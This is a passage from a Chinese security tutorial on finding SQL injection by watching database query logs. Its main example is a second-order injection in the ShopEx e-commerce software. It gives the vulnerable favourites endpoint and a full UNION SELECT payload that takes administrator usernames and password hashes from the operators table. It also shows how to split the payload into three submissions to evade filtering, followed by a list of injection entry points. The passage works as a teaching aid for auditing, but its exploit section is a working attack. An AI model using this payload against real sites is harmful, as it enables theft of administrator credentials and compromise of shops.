0×03 Shopex漏洞实例以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。 打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。
我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。
可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。
此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。 由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤 http://localhost/index.php?member-SQL-ajaxAddFav.html 我们将上面的SQL替换成以下信息,分三次提交: 0)/**/union/** **/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/** **/from sdb_operatorslimit 1%23 来到会员中心页面在产品收藏处可以看到管理员信息。
观察数据库日志可以看到此时执行的SQL语句为 Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
0×04 总结这个半黑盒测试的流程是: 开启查询日志——查找输入点——-跟随输入信息——–是否可利用——-构造注入语句 此过程中的重点就是找输入点和跟随输入信息。 输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些: 1) 表单提交,主要是POST请求,也包括GET请求。 2) URL参数提交,主要为GET请求参数。 3) Cookie参数提交。 4) HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。 5) 一些边缘的输入点,比如.jpg文件的一些文件信息等。 有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。 熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心。 (责任编辑:最模板) |